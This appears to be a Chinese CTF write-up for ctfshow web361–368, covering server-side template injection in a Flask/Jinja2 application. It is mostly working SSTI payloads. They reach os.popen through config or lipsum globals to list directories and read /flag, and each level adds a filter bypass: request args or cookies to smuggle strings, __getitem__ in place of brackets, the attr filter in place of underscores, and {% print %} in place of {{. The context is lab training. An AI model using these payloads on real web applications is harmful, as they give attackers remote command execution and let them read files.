ctfshow-web入门-ssti

web361

没有做任何过滤

?name={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

出现了flag,然后cat../flag即可


?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}

web362

过滤了数字,上一题的payload依旧可以用

web363

过滤了单双引号,可以利用request.args.变量名结构

?name={{a.__init__.__globals__[request.args.x].eval(request.args.y)}}&x=__builtins__&y=__import__("os").popen("cat /flag").read()

web364

过滤了引号和args。

虽然不能get传参,但是可以用cookie。基本模式就是request.cookies.变量名,再抓包添加即可。

?name={{a.__init__.__globals__[request.cookies.x].eval(request.cookies.y)}}//get传参
x=__builtins__;y=__import__("os").popen("cat /flag").read() //添加在cookie里

web365

过滤了[]

引入__getitem__调用字典中的键值,比如说a['b']就可以用a.getitem('b')来表示,成功绕过[]

?name={{a.__init__.__globals__.__getitem__(request.cookies.x).eval(request.cookies.y)}}
cookie:x=__builtins__;y=__import__("os").popen("cat /flag").read()

web366

过滤了_

所有类似于__init__这样的方法都不能用了,那只是name传参不能用,但是我们可以用cookie来传参。使用flask框架自带的attr过滤器。attr用于获取变量。

?name={{(lipsum|attr(request.cookies.x)).os.popen(request.cookies.y).read()}}
 
Cookie:a=__globals__;b=cat /flag

web367

过滤了os,那我们就把os写进cookie里,改一下上面的payload;

?name={{(lipsum|attr(request.cookies.x)).get(request.cookies.y).popen(request.cookies.z).read()}}
 
Cookie:x=__globals__;y=os;z=cat /flag

web368

过滤了{{

使用{%%}绕过,再借助print()回显

?name={% print((abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e))%}

Cookie:a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值